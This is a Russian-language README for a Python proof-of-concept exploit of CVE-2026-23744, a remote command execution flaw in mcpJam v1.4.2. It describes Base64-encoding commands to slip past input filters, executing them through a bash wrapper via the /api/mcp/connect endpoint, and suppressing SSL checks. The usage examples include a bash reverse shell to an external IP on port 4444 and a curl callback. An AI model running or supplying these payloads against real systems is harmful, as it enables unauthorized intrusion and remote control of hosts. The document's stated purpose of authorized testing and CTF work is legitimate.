CVE-2026-23744 — Эксплойт удаленного выполнения кода (RCE) для mcpJam

Эксплойт на Python 3, подтверждающий концепцию для CVE-2026-23744 — уязвимости произвольного выполнения команд, затрагивающей mcpJam v1.4.2.

Эта утилита автоматизирует доставку полезной нагрузки, прозрачно кодируя команды в Base64 перед передачей, что помогает обойти ограничительные механизмы проверки ввода и фильтрации символов. Полезная нагрузка декодируется и выполняется через обёртку /bin/bash на целевой системе.

---

Возможности

Автоматическое кодирование полезной нагрузки в Base64

Команды автоматически кодируются перед передачей, что повышает надёжность при атаке на приложения, которые налагают строгую проверку ввода или ограничения на символы.

Гибкое выполнение команд

Поддерживает выполнение произвольных команд, включая:

• Реверс-шеллы (sh, bash, nc и т.д.)
• Перебор системы
• Проверка сетевой связности
• Доставка пользовательской полезной нагрузки

Подробный отладочный вывод

Отображает:

• Сгенерированные JSON-запросы с полезной нагрузкой
• Исходные ответы сервера

Это упрощает поиск неисправностей и проверку эксплойта.

Обход проверки SSL

Подавляет предупреждения о проверке сертификатов, позволяя взаимодействовать с целями, использующими самоподписанные или иные ненадёжные SSL-сертификаты.

---

Использование

Предварительные требования

Установите необходимую зависимость:

pip install requests

Синтаксис

python3 exploit.py <target_url> "<command>"

---

Примеры

Проверка связности

python3 exploit.py http://devhub.com:6274 "curl http://10.10.14.70:8888"

Реверс-шелл

python3 exploit.py http://devhub.com:6274 "sh -i >& /dev/tcp/10.10.14.70/4444 0>&1"

---

Технические детали

Эксплойт нацелен на конечную точку /api/mcp/connect, создавая вредоносный объект serverConfig.

Вместо прямой передачи команд полезная нагрузка преобразуется в строку, закодированную в Base64, и выполняется через Bash:

"args": [
    "-c",
    f"echo {base64_payload} | base64 -d | bash"
]

Этот подход помогает обойти фильтрацию на уровне приложения, гарантируя, что полезная нагрузка декодируется и выполняется полностью на целевом хосте.

Порядок выполнения

1. Пользовательская команда кодируется в Base64.
2. Закодированная полезная нагрузка встраивается в запрос serverConfig.
3. Целевой сервер декодирует полезную нагрузку с помощью base64 -d.
4. Декодированная команда передаётся напрямую в /bin/bash.
5. Команда выполняется с привилегиями уязвимого процесса mcpJam.

---

Отказ от ответственности

[!WARNING] Этот проект предоставляется исключительно в образовательных целях, для авторизованных оценок безопасности и сред Capture The Flag (CTF).

Несанкционированное использование против систем, на которые у вас нет явного разрешения, является незаконным и неэтичным. Автор не несёт ответственности за любое неправомерное использование, ущерб или правовые последствия, возникшие в результате использования данного программного обеспечения.